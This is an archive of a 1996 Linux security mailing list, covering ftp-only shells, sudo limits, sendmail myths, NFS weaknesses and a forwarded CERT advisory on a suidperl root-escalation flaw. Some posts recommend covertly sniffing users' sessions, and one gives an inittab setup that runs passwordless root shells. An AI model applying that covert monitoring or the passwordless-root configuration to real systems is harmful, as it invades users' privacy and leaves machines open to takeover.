charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 17 Jun 1996, Vaughn Skinner wrote: > The most obvious thing /etc/shells is used for is nonymous ftp. You > probably don't want to allow ftp access to this account. If you do, > things get a lot more complicated. But don't forget that it's used by > other programs too; for example, GNU su (a security hole in itself, for > obvious reasons) allows the user to run an arbitrary program instead of > the target user's login shell, if the target user is an unrestricted > account (login shell in /etc/shells). > > So, to summarise, *don't* put an insecure program in a privileged > position, and *don't* list a restricted shell as unrestricted. > > ...... > > If it is a bad idea to put /bin/ftponly in /etc/shells, I need > a new way to allow users to have ftp access without shell access. > > wu.ftpd requires the user's shell to be in /etc/shells. > > Is the solution a ftpd hack to accept /bin/ftponly as a valid > shell? Is there a better way? /etc/ftponly should not exist, and it does not have to exist. Make /etc/ftponly as the shell in /etc/passwd and put it in /etc/shells, but don't create it. It does not have to exist to use this as a login shell for ftp. It doesn't work very well as a login shell if it doesn't exist. I suppose some one could create it as a valid login shell; monitoring for this might be prudent. Other than that it seems clean enough. Have I missed something? -- Michael From [email protected] Mon Jun 24 14:39:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA07807; Mon, 24 Jun 1996 14:39:58 -0400 From: "Miller, Raul D." To: [email protected], [email protected] Cc: [email protected], [email protected] Subject: Re: [linux-security] sudo limiting Date: Fri, 21 Jun 96 19:20:00 PDT Message-ID: <[email protected]> Encoding: 29 TEXT X-Mailer: Microsoft Mail V3.0 Sender: [email protected] Precedence: list Hacking /bin/passwd offers *no* security against someone with root access. Remember, all it's doing is modifying some files. It's always possible to do this with other tools (e.g. an editor, a private copy of passwd). A right way to deal with this problem, in my opinion, is (1) logging -- keep the logs off the multi-user system. Also, stay outside the computer when dealing with people who do things that they aren't supposed to (like disable logging, or change root password or whatever). (2) encryption -- this isn't as much of a win as you might think, because it's often possible to grab snapshots of the encryption handling program. This is about as secure as handing out the passwords. If you can get the encryption done in a non-multi-user context this can be a good thing. When combined with logging it's even better. Unfortunately, both of these mechanisms have drawbacks -- they can seriously impair the usefulness of a collaborative system. A better solution, if you can work it, is to partition the system so that secure information is not available on a system that can be accessed by people who shouldn't have it. Of course, that doesn't usually work either. A compromise, and it's looking better to me every week, is the Posix.6 stuff that's being worked on for Linux (not ready yet). -- Raul From [email protected] Mon Jun 24 14:40:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA07825; Mon, 24 Jun 1996 14:40:17 -0400 Date: Fri, 21 Jun 1996 19:52:52 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] standard users,groups,perms? Sender: [email protected] Precedence: list #!/bin/sh -c "echo 'BOOOOOOOM!'" Oh, dear. > I would have to agree. But I would like to point out at least > one thing that can be done for root mail security. Many sendmail > implementations have a dangerous default setup that amounts to a line > like this in the sendmail.cf file: > Mprog, P=/bin/sh, F=lsDFMeu, S=10, R=20/40, D=$z:/, > Basically if a e-mail message begins like a sh shell script > with a first line of: > #!/bin/sh > The email will be executed as a shell script (At the time > it is read). ... Let's not get alarmist. ("Run for your lives! The Good Times virus is real!") If this were true, this mail message would have just echoed "BOOOOOOOM!", and you would not be reading it. The "prog" delivery agent tells what to do if 'sendmail' gets a mail address in the form of "|filter" - in other words, a "pipe" symbol (vertical bar) followed by a filter program name, to which the mail message is passed as input. On a properly configured system, this mail address can't be received in the ordinary way, but only as an alias or a forwarding address. So, it must have been set up by somebody ON YOUR SYSTEM - preferably, with some idea of what he or she was doing. It should never be something that could cause damage or denial of service - although one of my workmates' use of elm's "filter" program came near to denying HIM service. Remember, OBTW, that sendmail is not even running when you read your mail!!! Sendmail is the mail transfer agent, which calls the mail delivery agent (/bin/mail, /bin/sh, whatever). Your 'mail', 'mailx', 'elm', 'pine', or PC junk is the mail reader. If you are using Eudora, e.g., from your PC, how can sendmail initiate a "BOOM"? ;-) Joe Yao [email protected] - Joseph S. D. Yao linux-security/linux-security.960625100664 1767 1767 52733 6164056113 16662 0ustar majdommajdomFrom [email protected] Tue Jun 25 09:07:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07766; Tue, 25 Jun 1996 09:07:21 -0400 Date: Sat, 22 Jun 1996 01:10:18 -0400 (EDT) From: "/* (c) 1996 dMv */" To: Suicide Object cc: Peter Orbaek , [email protected], [email protected] Subject: Re: [linux-security] suspicious users In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 17 Jun 1996, Suicide Object wrote: > On Thu, 13 Jun 1996, Peter Orbaek wrote: > > > - Hack their shell to log certain users' commands via syslog() or > > to a special hidden file. It's actually quite useful to have > > such shells installed all the time and be able to turn on > > snooping for certain users in some config file. > > good idea. But what if he exec new_shell_safe 's ??? Point. On both fronts: it is good to have one (or a few) around, but it is avoidable (andd very possibly avoided if infact the user is doing things unauthorized) > > - Use telnetsnoopd if they are coming in over telnet, this will allow > > logging of their entire session. I've sometimes heard of problems > > with telnetsnoopd: that it may sit around buring CPU time to no > > good use, so be careful. > > well, telnet snooping is nice for irc sessions, but who has the time to > sit around and look what he is doing? > > better use a packet sniffer and log... > some packetsniffers even allow you to get a realtime viewing of his screen > major advantage of packetsniffing is that you can do it > 1. centralised (one host for an entire segment) > 2. unnoticed. no way a user can notice it (or know he *isn't*) > > disadvantages: only logs the medium you have access over (so no console > logins, ppp connections if on another host) > Secure shell is also a nice game-braker :-) (well, that's why *I* use it) There are those disadvantages. But the same thing stands for telnetsnoop. If used unwisely, it can be unuseful, and generate a lot of data. However, if you log the data to a file, and have it search for certain things, based on what you want to know. It has the advantage that not everyone has their privacy needlessly violated. > > With linux you could also hack the kernel to log output to certain > > tty's somewhere, maybe this is already possible? Add a couple > > of ioctl calls to the tty driver to set dumping conditions and > > where to dump the stuff. > > > > Does Linux support process logging these days? Hmmm. That's assuming you know the tty of the user OR otherwise you have to log all tty's (except ones you KNOW the user won't be using, like the consoles) > > Of course, all of this should be done only be people wearing white > > hats! Your users will hate you if you do this without proper > > cause. Really think hard about this: what give's you the right to monitor the user. If your answer is 'because I'm paid too' or 'because it is my system', then feel free (post a warning like the one in the previous post or something). But if the system is something general, like a ISP machine, then you really must be justified in potentially tapping and violating users' rights. Basically, how would you feel in a similar situation, reversed? dMv From [email protected] Tue Jun 25 09:11:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07787; Tue, 25 Jun 1996 09:11:07 -0400 Date: Sun, 23 Jun 1996 01:31:09 +0200 Message-Id: <[email protected]> From: Benedikt Stockebrand To: [email protected] CC: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: [linux-security] standard users,grou Sender: [email protected] Precedence: list [ To the moderators: I'm sorry about the excessive quoting. If you ] [ find a way to trim it any further, feel free to do so. Aside from ] [ that we're drifting off linux-specific security stuff, so you might ] [ as well drop it completely. --ben ] Raul D. Miller wrote: | (1) If physical security is assured (e.g. a laptop, which you carry with | you), passwordless root is reasonable. [You don't want to run any networking | daemons in this configuration though.] No. If your laptop gets stolen you can't help it (but at least you'll probably realize). Leaving it without a root pw will invite anyone to look around your system and do some nasty things to it while you leave it unguarded for some minutes. Or do you take your laptop to the bathroom? | (2) It's also reasonable to have root running on some vts directly from init. | (/bin/open -w is a reasonable way of doing this, though it could be more | space efficient). In this configuration, it's also reasonable to set the | password field for root to * (no password). Again, this assumes that | physical security is present. I've done that occasionally while setting up or administrating a running system. I rather use a separate runlevel (e.g. 4) for it instead though. Log in as root once, telinit 4, and you're done. But then, if you manage to remember about that you might as well log in as root once more and do a renice --19 $$. | (3) If the machine is only occasional use (e.g. one of many), then it's | reasonable to use either of the above configurations not as a user, but as | root. Figure out a way to assign systematic variations on the passwords. Like using a six char string plus the last byte of the machines IP address in hex. Not great, but works to a degree. Yet another option: Use one machine for administration and do everything on the other machines through a ssh login. In that case you theoretically can even disable root login on the other machines (keep a boot disk handy, though). | This is no less secure than Dos, Windows, etc. Millions of flies... no valid argument. | If a lot of machines are in use, it's not reasonable to expect the user to | remember unique username/password combinations for all machine. For ordinary users, use a distributed /etc/shadow. Using rdist with ssh should do the trick if nothing else. | A variant on this is where the same username password is used | on all machines -- here, if the combination is revealed in one environment it | may be used to compromise another environment. Bad for that one user. But if it happens to the root passwd it's bad for *all* users. | Usernames+passwords only make sense in environments where more than one | person has access to the machine. A gun doesn't need a safety catch---if I don't want to shoot, I don't pull the trigger. Ever done a rm -rf in the wrong vt? Happened to me twice, once on an old (2.1) OS/2 box: Complete reinstall from tape, first with installation disks, then re-reading all tapes back, a full day wasted (and with Linux, a non-standard tape device and no customized rescue boot disk it might take well longer). Second time, as non-root user on my home Linux box: tar x /home/benedikt, twenty minutes, no sweat. | On the other hand, on a single user machine, it is reasonable to put | some communications programs in a wrapper that drops most privileges | before receiving anything (for example: chroot, setuid, fork, ...). If it runs communications programs it isn't a " single user machine" anymore---unless you really make sure you won't get any unwanted users from outside. Never underestimate the malevolence of the average Net Moron[TM]. Ben -- Benedikt (Ben) Stockebrand Runaway ping.de sysadmin Dortmund, Germany --- Never ever trust old friends --- My name and email address are not to be added to any list used for the purpose of advertising. By sending unsolicited advertisement e-mail to this address, the sender implicitly agrees to pay a DM 500 fee to the recipient for proofreading services. From [email protected] Tue Jun 25 09:13:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA07820; Tue, 25 Jun 1996 09:13:41 -0400 Date: Mon, 24 Jun 1996 20:21:59 +0200 (MET DST) From: Suicide Object To: "/* (c) 1996 dMv */" cc: Peter Orbaek , [email protected], [email protected] Subject: Re: [linux-security] suspicious users In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sat, 22 Jun 1996, /* (c) 1996 dMv */ wrote: > But the same thing stands for telnetsnoop. If used unwisely, it can be > unuseful, and generate a lot of data. However, if you log the data to a > file, and have it search for certain things, based on what you want to > know. It has the advantage that not everyone has their privacy needlessly > violated. telnetsnoop is a very restricted way of monitoring: only port 23? gee... gives a good idea of what is going on on your machine, doesn't it? Doesn't log ftp (well, /var/adm/messages does this rather well), rlogin, rpc, peoples own telnetd running on port 20666. As for most systems, access in not done on console but via networking so what better way to monitor access then to keep an eye on your packets traveling in and out. > Really think hard about this: what give's you the right to monitor the > user. If your answer is 'because I'm paid too' or 'because it is my > system', then feel free (post a warning like the one in the previous post > or something). But if the system is something general, like a ISP > machine, then you really must be justified in potentially tapping and > violating users' rights. > > Basically, how would you feel in a similar situation, reversed? this is a bit off topic, more on this 'legal thing': Basically: my machine is my ass. If someone abuses my machine *I*'m the one who is going to take the responsability. Same should go for any ISP: if you let people party in your house, they should behave. If they start doing weird stuff, you should be able to look into it. I don't say you should log all their connection nor read all their mail, just if something suspicious is in the air or complaints start to roll in, you should take action. Not just kick the abuse off, but also check what and how he is doing. {Having the sad honour if doing it a while ago :-(} Wim Vandeputte, Tunnel Vision and the scars to prove it "Is it time to shut down and lay to rest the Bomb that Servant Suicide Object worshipped like a God" -- NIVEK OGRE From [email protected] Tue Jun 25 17:33:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11805; Tue, 25 Jun 1996 17:33:34 -0400 From: [email protected] (JaDe) Message-Id: <[email protected]> Subject: Re: [linux-security] sudo limiting To: [email protected] (Blue) Date: Mon, 24 Jun 1996 14:13:14 -0700 (PDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Blue" at Jun 18, 96 05:19:49 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1713 Sender: [email protected] Precedence: list > > Greetings, > > The recent thread on sudo has brought a question to me for practical usage. > > How to implement administrative accounts which have the permission to > create or change passwords of arbitary users, without having access to > change the root password. > > I was implementing user adding facilities for a small group whom still > should not have root access via sudo and realized that they could just > change the root password. I am loathe to do it with a setuid program, > even though then I can run the username through a filter, due to the > probelms having a program like that can create. > > Baring hacking passwd, or creating a restricted version of it, is there > any secure way around this delima? One point I've made about sudo is that you should only delegate the authority to people you trust -- people you'd *almost* trust with the root password itself. The value is that their actions are trackable (particularly if you syslog to a remote machine). They leave an audit trail. They can't change root's password, shell to root and *change it back* (which 'sudo -c vipw' would do BTW) You could certainly have sudo allow access to a script -- possibly a taint perl script that does something like: if ($1 != "root" && $1 != "toor" ) then su -c 'passwd' $1 (only with more restrictions on $1 to limit it to a filename -- no IFS type exploits allowed). That leads me to the real question I had about sudo. How can I ensure that sudo executes in a sensible environments (no weird IFS or settings to change which shared libs are dynamically loaded etc)? > Jim "Blue" Carstensen > SysAdmin for Cybernex Inc. > [email protected] From [email protected] Tue Jun 25 17:34:50 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11827; Tue, 25 Jun 1996 17:34:50 -0400 From: [email protected] Date: 24 Jun 1996 22:08:32 -0000 Message-ID: <[email protected]> To: [email protected] Subject: Re: [linux-security] standard users,grou Sender: [email protected] Precedence: list I'm going to keep this brief. I missed that the original request was only for /bin/passwd access, not general sudo access. My fault. However, some of the replies indicate a distinct lack of thought about some of the issues of administering a secure system. I'd like to encourage a bit more thought. [Please think.] In particular, consider a laptop with root:*:0:0:root:/:/bin/sh in /etc/passwd, and 27:23:respawn:/bin/open -c 27 -l -w -- /bin/bash 28:23:respawn:/bin/open -c 28 -l -w -- /bin/bash 29:23:respawn:/bin/open -c 29 -l -w -- /bin/bash in /etc/inittab, and the keyboard remapped to put those vts somewhere personal (e.g. control right-alt capslock =). In particular, think about how hard it is to crack the root password... Another "passwordless" configuration to consider replaces some instances of /bin/bash with su -l (and some normal user id). Also, note that on this kind of machine a screen/keyboard lock mechanism is likely to be far more useful than the classic login mechanism. If you're really paranoid, you'd lock the screen before starting any sessions. A lock that leaves the session in place is likely to be more useful than a lock that is only good when you toss your session -- except maybe for those people who have configured their machines such that there's next to no time to set up a useful session. Note: remote access is another issue entirely. In terms of real security, multi-user systems aren't very effective. [They're quite useful in their own right, but never mistake security on a multi-user system for real security. For purposes of discussion, the internet is as much an example of a multi-user system as a classic timesharing host is.] However, remote access can become much more secure if you have complete control over the machines at both ends. -- Raul From [email protected] Tue Jun 25 17:37:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11853; Tue, 25 Jun 1996 17:37:26 -0400 Message-Id: From: [email protected] (Alan Cox) Subject: Re: [linux-security] A secure (?) nfs-server ? To: [email protected] (Leonardo Costantini 339846/IL) Date: Tue, 25 Jun 1996 10:46:08 +0100 (BST) Cc: [email protected] In-Reply-To: from "Leonardo Costantini 339846/IL" at Jun 20, 96 10:39:05 am Content-Type: text Content-Length: 315 Sender: [email protected] Precedence: list > I need to install a REAL secure nfs, can someone tell me wich version > should I use ? > (note : the machine is connected also to sun nfs-server/client ) Secure RPC is not. Apart from kerberized nfs which we don't support yet unless someone has been busy and I don't know about it you have a problem. Alan From [email protected] Tue Jun 25 17:37:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11869; Tue, 25 Jun 1996 17:37:35 -0400 Date: Tue, 25 Jun 1996 10:47:23 +0200 (MET DST) From: Angel Rat To: [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 20 Jun 1996, Leonardo Costantini 339846/IL wrote: > Hi all Hi to you :) > I need to install a REAL secure nfs, can someone tell me wich version > should I use ? > > Should I looking for a new rpc.portmapd too? While waiting for a new daemon you could set up some "light 'n' darkness": modify your /etc/hosts.allow with an entry like that: portmap: host1,host2,host3... and so on (or make the modifications needed as explained in "hosts_access") so that only the machines you mention can talk with the portmapper, all the rest receive an error. Hope this may help you > Leonardo Fabrizio. Keep you free from sin till the sandman | Antonetti Fabrizio he comes -- Metallica "Enter Sandman" | Castello 2419 - 30122 Venezia -------------------------------------------------------------------------------- chiara.dei.unipd.it system manager | sandman@[paola][chiara].dei.unipd.it From [email protected] Tue Jun 25 17:37:57 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11885; Tue, 25 Jun 1996 17:37:57 -0400 Message-Id: <[email protected]> Date: Tue, 25 Jun 1996 13:00:50 +0200 From: [email protected] (Felix von Leitner) To: [email protected] (Leonardo Costantini 339846/IL) Cc: [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? In-Reply-To: ; from Leonardo Costantini 339846/IL on Jun 20, 1996 10:39:05 +0200 References: X-Mailer: Mutt 0.33 Mime-Version: 1.0 X-Dogma: Barney must die, all else is irrelevant Sender: [email protected] Precedence: list Thus spake Leonardo Costantini 339846/IL ([email protected]): > I need to install a REAL secure nfs, can someone tell me wich version > should I use ? There is not secure NFS. Sun sells something by that name, but it's really an NFS with DES and NIS+. AFAIK it is not supported under Linux or any other system besides Sun's for that matter. By the way: it has been cracked, too. "Secure NFS" is an oxymoron. Oh, and if something has Secure in the name and comes from Sun, then be afraid, be *very* afraid. Felix PS: "but I thought Java was secure...?" From [email protected] Tue Jun 25 17:38:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA11901; Tue, 25 Jun 1996 17:38:16 -0400 Message-ID: <[email protected]> Date: Tue, 25 Jun 1996 08:23:32 -0500 From: John Fulmer X-Mailer: Mozilla 3.0b4 (X11; I; Linux 2.0.0 i586) MIME-Version: 1.0 To: [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Leonardo Costantini 339846/IL wrote: > > Hi all > > I need to install a REAL secure nfs, can someone tell me wich version > should I use ? > > Should I looking for a new rpc.portmapd too? Isn't "secure nfs" an oxymoron? I'm not so sure that you could ever secure NFS or the portmapper up enough to call it secure. If your LAN is trusted, and you operate it behind a firewall, it would probably be pretty secure, and I'm sure that there are a few tricks ("secure" RPC, etc) that could help. But I don't think you could ever consder NFS secure enough for wide area use. If you just need to transfer files, consider some kind of secure encrypting transfer protocol. There are a few of them out right now. jf -- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + John Fulmer | "As folks might have suspected, + + Secure Network System | not much survives except roaches, + + Lawrence, Kansas | and they don't carry large enough + + | packets fast enough..." + + [email protected] | --Dave Crocker, about the + + http://www.blanket.com | Internet and nuclear war. + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ linux-security/linux-security.960626100664 1767 1767 42563 6164333151 16663 0ustar majdommajdomFrom [email protected] Wed Jun 26 13:42:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA18806; Wed, 26 Jun 1996 13:42:18 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] A secure (?) nfs-server ? To: [email protected] (Felix von Leitner) Date: Wed, 26 Jun 1996 00:31:23 +0200 (MET DST) From: Thomas Koenig In-Reply-To: <[email protected]> from Felix von Leitner at "Jun 25, 96 01:00:50 pm" X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Felix von Leitner wrote: >> I need to install a REAL secure nfs, can someone tell me wich version >> should I use ? >There is not secure NFS. You could hack ssh to be a secure NFS tunnel. It's already been done for NIS (see ftp://fripp.hrz.tu-chemnitz.de/pub/Local/informatik/sec_rpc/), and could be extended for NFS with a little bit of thought. It would be interesting to see what kind of performance you'd get, though. -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. From [email protected] Wed Jun 26 13:43:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA18823; Wed, 26 Jun 1996 13:43:05 -0400 Message-Id: <[email protected]> X-Authentication-Warning: aurora.cc.monash.edu.au: Host nate@localhost [127.0.0.1] didn't use HELO protocol To: [email protected] (Alan Cox) cc: [email protected] (Leonardo Costantini 339846/IL), [email protected] From: Nathan Bailey Reply-To: [email protected] Subject: Re: [linux-security] A secure (?) nfs-server ? In-reply-to: Message from [email protected] of 96-Jun-25 10:46:8, Date: Wed, 26 Jun 96 17:47:04 +1000 X-Mts: smtp Sender: [email protected] Precedence: list [email protected] (Alan Cox) wrote: >> I need to install a REAL secure nfs, can someone tell me wich version >> should I use ? >Secure RPC is not. Apart from kerberized nfs which we don't support yet unless >someone has been busy and I don't know about it you have a problem. Monash University has been working on Kerberized-NFS for our general access Linux labs (so students can't snoop on each others passwords(ssh)/files/whatever). It is in the process of being implemented in a much nicer way than it's present state, whereupon we will announce it to the world far and wide :-) Until then, you might like to refer to: http://www.monash.edu.au/ccstaff5/cos/pan/WWW/linux.htm (somewhat over-Netscaped, sorry) Nate From [email protected] Wed Jun 26 18:14:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id SAA20255; Wed, 26 Jun 1996 18:14:58 -0400 Date: Wed, 26 Jun 1996 16:10:24 -0400 (EDT) From: Jon Lewis X-Sender: [email protected] To: [email protected] cc: [email protected] Subject: [linux-security] BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Has anyone verified yet whether this is a problem on Linux boxes across the world? ---------- Forwarded message ---------- Date: Wed, 26 Jun 1996 11:53:54 -0500 From: CERT Advisory To: Multiple recipients of list BUGTRAQ Subject: BoS: CERT Advisory CA-96.12 - Vulnerability in suidperl -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.12 June 26, 1996 Topic: Vulnerability in suidperl - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a vulnerability in systems that contain the suidperl program and that support saved set-user-ID and saved set-group-ID. By exploiting this vulnerability, anyone with access to an account on such a system may gain root access. Saved set-user-IDs and set-group-IDs are sometimes referred to as POSIX saved IDs. suidperl is also known as sperl followed by a version number, as in sperl5.002. Perl versions 4 and 5 can be compiled and installed in such a way that they will be vulnerable on some systems. If you have installed the suidperl or sperl programs on a system that supports saved set-user-ID and set-group-ID, you may be at risk. The CERT Coordination Center recommends that you first disable the suidperl and sperl programs (Section III.A). If you need the functionality, we further recommend that you either apply a patch for this problem or install Perl version 5.003 (Section III.B). If neither a patch nor a new version are viable alternatives, we recommend installing the wrapper written by Larry Wall as a workaround for this problem (Section III.C). As we receive additional information relating to this advisory, we will place it in ftp://info.cert.org/pub/cert_advisories/CA-96.12.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description On some systems, setuid and setgid scripts (scripts written in the C shell, Bourne shell, or Perl, for example, with the set user or group ID permissions enabled) are insecure due to a race condition in the kernel. For those systems, Perl versions 4 and 5 attempt to work around this vulnerability with a special program named suidperl, also known as sperl. Even on systems that do provide a secure mechanism for setuid and setgid scripts, suidperl may also be installed--although it is not needed. suidperl attempts to emulate the set-user-ID and set-group-ID features of the kernel. Depending on whether the script is set-user-ID, set-group-ID, or both, suidperl achieves this emulation by first changing its effective user or group ID to that of the original Perl script. suidperl then reads and executes the script as that effective user or group. To do these user and group ID changes correctly, suidperl must be installed as set-user-ID root. On systems that support saved set-user-ID and set-group-ID, suidperl does not properly relinquish its root privileges when changing its effective user and group IDs. II. Impact On a system that has the suidperl or sperl program installed and that supports saved set-user-ID and saved set-group-ID, anyone with access to an account on the system can gain root access. III. Solution The command in Section A helps you determine if your system is vulnerable and, if it is, optionally disables the suidperl and sperl programs that it locates. After you have run this command on all of your systems, your system will no longer be vulnerable. If you find that your system is vulnerable, then you need to replace the suidperl and sperl programs with new versions. Section B describes how to do that. Finally, Section C identifies a wrapper that can be used in place of the suidperl program. A. How to determine if your system is vulnerable To determine if a system is vulnerable to this problem and to disable the programs that are believed to be vulnerable, use the following find command or a variant. Consult your local system documentation to determine how to tailor the find program on your system. You will need to run the find command on each system you maintain because the command examines files on the local disk only. Substitute the names of your local file systems for FILE_SYSTEM_NAMES in the example. Example local file system names are /, /usr, and /var. You must do this as root. Note that this is one long command, though we have separated it onto three lines using back-slashes. find FILE_SYSTEM_NAMES -xdev -type f -user root \ \( -name 'sperl[0-9].[0-9][0-9][0-9]' -o -name \ 'suidperl' \) -perm -04000 -print -ok chmod ug-s '{}' \; This command will find all files on a system that are - only in the file system you name (FILE_SYSTEM_NAMES -xdev) - regular files (-type f) - owned by root (-user root) - named appropriately (-name 'sperl[0-9].[0-9][0-9][0-9]' -o -name 'suidperl') - setuid root (-perm -04000) Once found, those files will - have their names printed (-print) - have their modes changed, but only if you type `y' in response to the prompt (-ok chown ug-s '{}' \;) B. Obtain and install the appropriate patch according to the instructions included with the patch. Vendor patches -------------- You may be vulnerable if your vendor supports saved set-user-ID and set-group-ID and ships suidperl or sperl. You need to get a patched version from your vendor. Appendix A contains information provided by vendors as of the date of this advisory. When we receive updated information, we will put it in CA-96.12.README. Until you can install a patch, we recommend disabling suidperl. The find command above will help you do that. If you need suidperl or sperl, an alternative is to install the wrapper described in Section C. Source code patches ------------------- If you have installed Perl from source code, you should install source code patches. Patches are available from the CPAN (Comprehensive Perl Archive Network) archives. Patch for Perl Version 4: File src/fixsuid4-0.pat MD5 Checksum af3e3c40bbaafce134714f1381722496 Patch for Perl Version 5: File src/fixsuid5-0.pat MD5 Checksum 135c96ee400fd37a38a7ef37edd489e9 In addition, Perl version 5.003 contains this patch, so installing it on your system also addresses this vulnerability. Perl 5.003 is available from the CPAN archives. Here are the specifics: File src/5.0/perl5.003.tar.gz MD5 Checksum b1bb23995cd25e5b750585bfede0e8a5 The CPAN archives can be found at the following locations: CPAN master site ftp://ftp.funet.fi/pub/languages/perl/CPAN/ Africa ftp://ftp.is.co.za/programming/perl/CPAN/ Asia ftp://dongpo.math.ncu.edu.tw/perl/CPAN/ ftp://ftp.lab.kdd.co.jp/lang/perl/CPAN/ Australasia ftp://coombs.anu.edu.au/pub/perl/ ftp://ftp.mame.mu.oz.au/pub/perl/CPAN/ ftp://ftp.tekotago.ac.nz/pub/perl/CPAN/ Europe ftp://ftp.arnes.si/software/perl/CPAN/ ftp://ftp.ci.uminho.pt/pub/lang/perl/ ftp://ftp.cs.ruu.nl/pub/PERL/CPAN/ ftp://ftp.demon.co.uk/pub/mirrors/perl/CPAN/ ftp://ftp.funet.fi/pub/languages/perl/CPAN/ ftp://ftp.ibp.fr/pub/perl/CPAN/ ftp://ftp.leo.org/pub/comp/programming/languages/perl/CPAN/ ftp://ftp.pasteur.fr/pub/computing/unix/perl/CPAN/ ftp://ftp.rz.ruhr-uni-bochum.de/pub/programming/languages/perl/CPAN/ ftp://ftp.sunet.se/pub/lang/perl/CPAN/ ftp://ftp.switch.ch/mirror/CPAN/ ftp://unix.hensa.ac.uk/mirrors/perl-CPAN/ North America ftp://ftp.cis.ufl.edu/pub/perl/CPAN/ ftp://ftp.delphi.com/pub/mirrors/packages/perl/CPAN/ ftp://ftp.sedl.org/pub/mirrors/CPAN/ ftp://ftp.sterling.com/programming/languages/perl/ ftp://ftp.uoknor.edu/mirrors/CPAN/ ftp://uiarchive.cso.uiuc.edu/pub/lang/perl/CPAN/ C. If you need setuid or setgid Perl scripts and are unable to apply the source code patches listed in Section B, we suggest that you retrieve Larry Wall's fixsperl script noted below. fixsperl is a script that replaces the suidperl and sperl programs with a wrapper that eliminates the vulnerability. The script is available from the CPAN archives as File src/fixsperl-0 MD5 Checksum f13900d122a904a8453a0af4c1bdddc6 Note that this script should be run one time, naming every suidperl or sperl file on your system. If you add another version of suidperl or sperl to your system, then you must run fixsperl on those newly installed versions. - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Paul Traina, Larry Wall, Eric Allman, Tom Christiansen, and AUSCERT for their support in the development of this advisory. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). We strongly urge you to encrypt any sensitive information you send by email. The CERT Coordination Center can support a shared DES key and PGP. Contact the CERT staff for more information. Location of CERT PGP key: ftp://info.cert.org/pub/CERT_PGP.key CERT Contact Information - ------------------------ Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST (GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA CERT publications, information about FIRST representatives, and other security-related information are available for anonymous FTP from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for CERT advisories and bulletins, send your email address to [email protected] Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for non-commercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. ......................................................................... Appendix A: Vendor Information Current as of June 26, 1996 See CA-96.12.README for updated information. Below is information we have received from vendors concerning the vulnerability described in this advisory. If you do not see your vendor's name, please contact the vendor directly for information. Apple Computer, Inc. ==================== A/UX 3.1.1 and earlier support saved set-{user,group}-ids. A/UX 3.1.1 and earlier do not have Perl as part of the standard product. Data General Corporation ======================== Data General 